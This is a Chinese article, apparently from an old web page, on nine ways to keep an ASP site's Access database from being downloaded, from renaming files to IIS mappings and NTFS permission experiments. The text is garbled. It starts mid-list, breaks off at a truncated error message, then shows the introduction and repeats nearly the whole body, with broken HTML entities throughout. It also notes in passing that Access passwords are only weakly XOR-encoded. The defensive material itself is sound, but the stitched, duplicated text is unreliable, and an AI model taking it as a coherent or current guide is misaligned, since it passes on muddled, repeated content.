不用说,这是最最偷懒的方法,但是若攻击者通过第三方途径获得了数据库的路径,就玩完了。比如说攻击者本来只能拿到list权,结果意外看到了数据库路径,就可以冠冕堂皇地把数据库下载回去研究了。另外,数据文件通常大小都比较大,起再隐蔽的文件名都瞒不了人。故保密性为最低。
2.数据库名后缀改为ASA、ASP等
此法须配合一些要进行一些设置,否则就会出现本文开头的那种情况。
(1)二进制字段添加。
(2)在这个文件中加入,IIS就会按ASP语法来解析,然后就会报告500错误,自然不能下载了。可是如果只是简单的在数据库的文本或者备注字段加入<%是没用的,因为ACCESS会对其中的内容进行处理,在数据库里他会以<%的形式存在,无效!正确的方法是将<%存入OLE对象字段里,这样我们的目的就能达到了。
操作方法:
首先,用notepad新建一个内容为<%的文本文件,随便起个名字存档。
接着,用Access打开您的数据库文件,新建一个表,随便起个名字,在表中添加一个OLE对象的字段,然后添加一个记录,插入之前建立的文本文件,如果操作正确的话,应该可以看到一个新的名为"数据包"的记录。即可。
3.数据库名前加"#"
只需要把数据库文件前名加上#、然后修改数据库连接文件(如conn.asp)中的数据库地址。原理是下载的时候只能识别#号前名的部分,对于后面的自动去掉,比如你要下载:http://www.pcdigest.com/date/#123.mdb(假设存在的话)。无论是IE还是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS设置的首页文档)。
另外在数据库文件名中保留一些空格也起到类似作用,由于HTTP协议对地址解析的特殊性,空格会被编码为"%",如http://www.test.com/date/123;456.mdb,下载的时http://www.test.com/date/123%456.mdb。而我们的目录就根本没有123%456.mdb这个文件,所以下载也是无效的这样的修改后,即使你暴露了数据库地址,一般情况下别人也是无法下载!
4.加密数据库
首先在选取"工具->安全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现"数据库加密后另存为"的窗口,存为:employer1.mdb。接着employer.mdb就会被编码,然后存为employer1.mdb..要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密,首先以打开经过编码了的employer1.mdb,在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码",接着输入密码即可。这样即使他人得到了employer1.mdb文件,没有密码他是无法看到employer1.mdb的。
加密后要修改数据库连接页,如:
conn.open "driver={ microsoft access driver&nb sp;
(*.mdb) };uid=admin;pwd=数据库密码;dbq=数据库路径"
这样修改后,数据库即使被人下载了,别人也无法打开(前提是你的数据库连接页中的密码没有被泄露)。
但值得注意的是,由于Access数据库的加密机制比较简单,即使设置了密码,解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行"异或"来形成一个加密串,并将其存储在*.mdb文件从地址"&H42"开始的区域内。所以一个好的程序员可以轻松制作一个几十行的小程序就可以轻松地获得任何Access数据库的密码。因此,只要数据库被下载,其信息安全依然是个未知数。
5.数据库放在WEB目录外或将数据库连接文件放到其他虚拟目录下
如你的WEB目录是e:\webroot,可以把数据库放到e:\data这个文件夹里,在e:\webroot里的数据库连接页中修改数据库连接地址为:"../data/数据库名"的形式,这样数据库可以正常调用,但是无法下载的,因为它不在WEB目录里!这个方法一般也不适合购买虚拟空间的用户。
6.使用ODBC数据源
在ASP等程序设计中,如果有条件,应尽量使用ODBC数据源,不要把数据库名写在程序中,否则,数据库名将随ASP源代码的失密而一同失密,例如:
DBPath = Server.MapPath("../123/ abc/asfadf.mdb ")
conn.open "driver={ Microsoft Access Driver&nb sp;(*.mdb) };dbq="& DBPath
可见,即使数据库名字起得再怪异,隐藏的目录再深,ASP源代码失密后,也很容易被下载下来。如果使用ODBC数据源,就不会存在这样的问题了:conn.open "ODBC-DSN名",不过这样是比较烦的,目录移动的话又要重新设置数据源了,更方便的方法请看第7,8法!
7.添加数据库名的如MDB的扩展映射
这个方法就是通过修改IIS设置来实现,适合有IIS控制权的朋友,不适合购买虚拟主机用户(除非管理员已经设置了)。这个方法我认为是目前最好的。只要修改一处,整个站点的数据库都可以防止被下载。无须修改代码即使暴露目标地址也可以防止下载。
我们在IIS属性---主目录---配置---映射---应用程序扩展那里添加.mdb文件的应用解析。注意这里的选择的DLL(或EXE等)似乎也不是任意的,选择不当,这个MDB文件还是可以被下载的,注意最好不要选择选择asp.dll等。你可以自己多测试下,样修改后下载数据库如:http://www.test.com/data/dvbbs6.mdb,就出现(404或500等错误)。
8.使用.net的优越性
动网的木鸟就写过一个防非法下载文件的"WBAL防盗链工具"。
不过那个只实现了防止非本地下载的,没有起到真正的防下载数据库的功能。不过这个方法已经跟5法差不多可以通过修改.NET文件,实现本地也不能下载!
这几个方法中,只有第7和8个是统一性改的,一次修改配置后,整个站点的数据库都可以防止下载,其他几个就要分别修改数据库名和连接文件,比较麻烦,不过对于虚拟主机的朋友也只能这样了!
其实第6个方法应该是第5个方法的扩展,可以实现特殊的功能,但对于不支持.net的主机或者怕设置麻烦的话,还是直接用第5个方法了,而且默认情况下第6个方法,依然可以通过复制连接到同主机的论坛或留言本发表,然后就可以点击下载了。(因为这样的引用页是来自同主机的)
9.利用NTFS分区的文件权限设置(bypercyboy)
我们已经知道,ASP.NET中使用ADO.NET访问数据库,通过OleDb的连接可以访问Access数据库——我们非常常用的低端数据库之一。本文讨论了ASP.NET中可能看到的若干错误提示,从中看到Access2000和AccessXP创建的数据库文件,在访问出现错误时会出现不太相同的错误提示。希望对大家有所帮助。另一个要点是,希望通过此文,使大家对ASP.NET中Access数据库文件的NTFS权限设置有所新的认识。
(一)实验过程
为了叙述方便,举个具体例子做个实验:应用程序为/test,数据库存放在D:\wwwroot\test\data\db1.mdb,我们已经知道在ASP.NET中是以一个叫做ASPNET虚拟用户的身份访问数据库的,我们需要给这个账户以特定的NTFS权限才能使ASP.NET程序正常运行。
为了得到最严格的NTFS权限设置,实验开始时我们给程序最低的NTFS权限:
a)D:\wwwroot\test\data\文件夹的给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;□ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.1对于某个只包含有"Select"命令的aspx程序,上述权限设置运行时无障碍,即:上述权限已经满足这类程序的运行了。
1.2对于包含有"Update""Insert""Update"等命令的aspx程序。
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。它已经被别的用户以独占方式打开,或没有查看数据的权限。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
操作必须使用一个可更新的查询。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:操作必须使用一个可更新的查询。
(c)原因初步分析:因为包含有"Update""Insert""Update"等命令,需要对数据库文件本身进行写入操作,所以上述权限不能满足此需求,我们需要进一步放开权限。
我们放开一些权限,
a) D:\wwwroot\test\data\ 文件夹不变;
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限;
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
1.3 放开权限后继续实验
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
不能锁定文件。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:不能锁定文件。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现错误。
(c)原因初步分析:我们发现在打开Access数据库时,同时会在所在目录生成一个同名的*.ldb文件,这是一个Access的锁定标记。鉴于此,我们猜测,用户ASPNET访问Access数据库时,也需要生成一个锁定标记,而该目录没有允许其写入,因此出错。至于AccessXP创建的数据库为什么没有这个错误,原因还不得而知。
我们进一步放开权限,
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.4继续实验,发现错误已解决,那么上面这个权限就是我们需要放开的"最低权限"。
(a)如果db1.mdb是Access2000创建的数据库,我们会发现一个小问题:生成的*.ldb文件不会自己删除,访问后该文件依然存在,但这个问题不会影响ASP.NET的正常运行。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现上面类似问题。
(c)原因初步分析:我们仅仅是给了ASPNET以写入文件夹的权限,没有给它修改的权限,所以文件一旦写入,便无法修改其内容,*.ldb也就删除不掉了。
如果非要解决这个问题,进一步放开权限为:
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;√ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.5附带着,实验另一种情形:我们把db1.mdb在Access打开编辑,同时访问ASP.NET。
(a)如果db1.mdb是Access2000创建的数据库,我们发现并没有出现什么问题。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:&nb。
然后用Flashget试验下载data.asp文件,并另存为data.mdb文件,发现用ACCESS打开完好无损!看来,好一些编程人员在开发的时候都认为,改了mdb后缀为asp就能防下载的概念,是错的!后台数据库被下载对于一个asp+access的网站来说无疑是一场惨绝人寰的灾难。今天找了各方的文章,归纳一下有以下9种办法防止数据库被下载(欢迎补充)。
1.发挥你的想象力修改数据库文件名
不用说,这是最最偷懒的方法,但是若攻击者通过第三方途径获得了数据库的路径,就玩完了。比如说攻击者本来只能拿到list权,结果意外看到了数据库路径,就可以冠冕堂皇地把数据库下载回去研究了。另外,数据文件通常大小都比较大,起再隐蔽的文件名都瞒不了人。故保密性为最低。
2.数据库名后缀改为ASA、ASP等
此法须配合一些要进行一些设置,否则就会出现本文开头的那种情况。
(1)二进制字段添加。
(2)在这个文件中加入,IIS就会按ASP语法来解析,然后就会报告500错误,自然不能下载了。可是如果只是简单的在数据库的文本或者备注字段加入<%是没用的,因为ACCESS会对其中的内容进行处理,在数据库里他会以<%的形式存在,无效!正确的方法是将<%存入OLE对象字段里,这样我们的目的就能达到了。
操作方法:
首先,用notepad新建一个内容为<%的文本文件,随便起个名字存档。
接着,用Access打开您的数据库文件,新建一个表,随便起个名字,在表中添加一个OLE对象的字段,然后添加一个记录,插入之前建立的文本文件,如果操作正确的话,应该可以看到一个新的名为"数据包"的记录。即可。
3.数据库名前加"#"
只需要把数据库文件前名加上#、然后修改数据库连接文件(如conn.asp)中的数据库地址。原理是下载的时候只能识别#号前名的部分,对于后面的自动去掉,比如你要下载:http://www.pcdigest.com/date/#123.mdb(假设存在的话)。无论是IE还是FLASHGET等下到的都是http://www.test.com/date/index.htm(index.asp、default.jsp等你在IIS设置的首页文档)。
另外在数据库文件名中保留一些空格也起到类似作用,由于HTTP协议对地址解析的特殊性,空格会被编码为"%",如http://www.test.com/date/123;456.mdb,下载的时http://www.test.com/date/123%456.mdb。而我们的目录就根本没有123%456.mdb这个文件,所以下载也是无效的这样的修改后,即使你暴露了数据库地址,一般情况下别人也是无法下载!
4.加密数据库
首先在选取"工具->安全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现"数据库加密后另存为"的窗口,存为:employer1.mdb。接着employer.mdb就会被编码,然后存为employer1.mdb..要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密,首先以打开经过编码了的employer1.mdb,在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码",接着输入密码即可。这样即使他人得到了employer1.mdb文件,没有密码他是无法看到employer1.mdb的。
加密后要修改数据库连接页,如:
conn.open "driver={ microsoft access driver&nb sp;
(*.mdb) };uid=admin;pwd=数据库密码;dbq=数据库路径"
这样修改后,数据库即使被人下载了,别人也无法打开(前提是你的数据库连接页中的密码没有被泄露)。
但值得注意的是,由于Access数据库的加密机制比较简单,即使设置了密码,解密也很容易。该数据库系统通过将用户输入的密码与某一固定密钥进行"异或"来形成一个加密串,并将其存储在*.mdb文件从地址"&H42"开始的区域内。所以一个好的程序员可以轻松制作一个几十行的小程序就可以轻松地获得任何Access数据库的密码。因此,只要数据库被下载,其信息安全依然是个未知数。
5.数据库放在WEB目录外或将数据库连接文件放到其他虚拟目录下
如你的WEB目录是e:\webroot,可以把数据库放到e:\data这个文件夹里,在e:\webroot里的数据库连接页中修改数据库连接地址为:"../data/数据库名"的形式,这样数据库可以正常调用,但是无法下载的,因为它不在WEB目录里!这个方法一般也不适合购买虚拟空间的用户。
6.使用ODBC数据源
在ASP等程序设计中,如果有条件,应尽量使用ODBC数据源,不要把数据库名写在程序中,否则,数据库名将随ASP源代码的失密而一同失密,例如:
DBPath = Server.MapPath("../123/ abc/asfadf.mdb ")
conn.open "driver={ Microsoft Access Driver&nb sp;(*.mdb) };dbq="& DBPath
可见,即使数据库名字起得再怪异,隐藏的目录再深,ASP源代码失密后,也很容易被下载下来。如果使用ODBC数据源,就不会存在这样的问题了:conn.open "ODBC-DSN名",不过这样是比较烦的,目录移动的话又要重新设置数据源了,更方便的方法请看第7,8法!
7.添加数据库名的如MDB的扩展映射
这个方法就是通过修改IIS设置来实现,适合有IIS控制权的朋友,不适合购买虚拟主机用户(除非管理员已经设置了)。这个方法我认为是目前最好的。只要修改一处,整个站点的数据库都可以防止被下载。无须修改代码即使暴露目标地址也可以防止下载。
我们在IIS属性---主目录---配置---映射---应用程序扩展那里添加.mdb文件的应用解析。注意这里的选择的DLL(或EXE等)似乎也不是任意的,选择不当,这个MDB文件还是可以被下载的,注意最好不要选择选择asp.dll等。你可以自己多测试下,样修改后下载数据库如:http://www.test.com/data/dvbbs6.mdb,就出现(404或500等错误)。
8.使用.net的优越性
动网的木鸟就写过一个防非法下载文件的"WBAL防盗链工具"。
不过那个只实现了防止非本地下载的,没有起到真正的防下载数据库的功能。不过这个方法已经跟5法差不多可以通过修改.NET文件,实现本地也不能下载!
这几个方法中,只有第7和8个是统一性改的,一次修改配置后,整个站点的数据库都可以防止下载,其他几个就要分别修改数据库名和连接文件,比较麻烦,不过对于虚拟主机的朋友也只能这样了!
其实第6个方法应该是第5个方法的扩展,可以实现特殊的功能,但对于不支持.net的主机或者怕设置麻烦的话,还是直接用第5个方法了,而且默认情况下第6个方法,依然可以通过复制连接到同主机的论坛或留言本发表,然后就可以点击下载了。(因为这样的引用页是来自同主机的)
9.利用NTFS分区的文件权限设置(bypercyboy)
我们已经知道,ASP.NET中使用ADO.NET访问数据库,通过OleDb的连接可以访问Access数据库——我们非常常用的低端数据库之一。本文讨论了ASP.NET中可能看到的若干错误提示,从中看到Access2000和AccessXP创建的数据库文件,在访问出现错误时会出现不太相同的错误提示。希望对大家有所帮助。另一个要点是,希望通过此文,使大家对ASP.NET中Access数据库文件的NTFS权限设置有所新的认识。
(一)实验过程
为了叙述方便,举个具体例子做个实验:应用程序为/test,数据库存放在D:\wwwroot\test\data\db1.mdb,我们已经知道在ASP.NET中是以一个叫做ASPNET虚拟用户的身份访问数据库的,我们需要给这个账户以特定的NTFS权限才能使ASP.NET程序正常运行。
为了得到最严格的NTFS权限设置,实验开始时我们给程序最低的NTFS权限:
a)D:\wwwroot\test\data\文件夹的给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;□ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.1对于某个只包含有"Select"命令的aspx程序,上述权限设置运行时无障碍,即:上述权限已经满足这类程序的运行了。
1.2对于包含有"Update""Insert""Update"等命令的aspx程序。
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:MicrosoftJet数据库引擎打不开文件'D:\wwwroot\test\data\'。它已经被别的用户以独占方式打开,或没有查看数据的权限。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
操作必须使用一个可更新的查询。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:操作必须使用一个可更新的查询。
(c)原因初步分析:因为包含有"Update""Insert""Update"等命令,需要对数据库文件本身进行写入操作,所以上述权限不能满足此需求,我们需要进一步放开权限。
我们放开一些权限,
a) D:\wwwroot\test\data\ 文件夹不变;
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限;
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
1.3 放开权限后继续实验
(a)如果db1.mdb是Access2000创建的数据库,出现如下错误:
"/test"应用程序中的服务器错误。
不能锁定文件。
说明:执行当前Web请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息:System.Data.OleDb.OleDbException:不能锁定文件。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现错误。
(c)原因初步分析:我们发现在打开Access数据库时,同时会在所在目录生成一个同名的*.ldb文件,这是一个Access的锁定标记。鉴于此,我们猜测,用户ASPNET访问Access数据库时,也需要生成一个锁定标记,而该目录没有允许其写入,因此出错。至于AccessXP创建的数据库为什么没有这个错误,原因还不得而知。
我们进一步放开权限,
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;□ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.4继续实验,发现错误已解决,那么上面这个权限就是我们需要放开的"最低权限"。
(a)如果db1.mdb是Access2000创建的数据库,我们会发现一个小问题:生成的*.ldb文件不会自己删除,访问后该文件依然存在,但这个问题不会影响ASP.NET的正常运行。
(b)如果db1.mdb是AccessXP创建的数据库,没有出现上面类似问题。
(c)原因初步分析:我们仅仅是给了ASPNET以写入文件夹的权限,没有给它修改的权限,所以文件一旦写入,便无法修改其内容,*.ldb也就删除不掉了。
如果非要解决这个问题,进一步放开权限为:
a)D:\wwwroot\test\data\文件夹给用户ASPNET以如下权限:
允许 拒绝
完全控制 &n bsp; □ □
修改 &nbs p; &nbs p;√ □
读取及运行 √ □ ;
列出文件夹目录 ; √ □
读取 &nbs p; &nbs p;√ □
写入 &nbs p; &nbs p;√ □
b) D:\wwwroot\test\data\db1.mdb 文件本身给用户ASPNET以如下权限:
√允许将来自父系的可继承权限传播给该对象
1.5附带着,实验另一种情形:我们把db1.mdb在Access打开编辑,同时访问ASP.NET。
(a)如果db1.mdb是Access2000创建的数据库,我们发现并没有出现什么问题。
(b)如果db1.mdb是AccessXP创建的数据库,出现如下错误:&nb。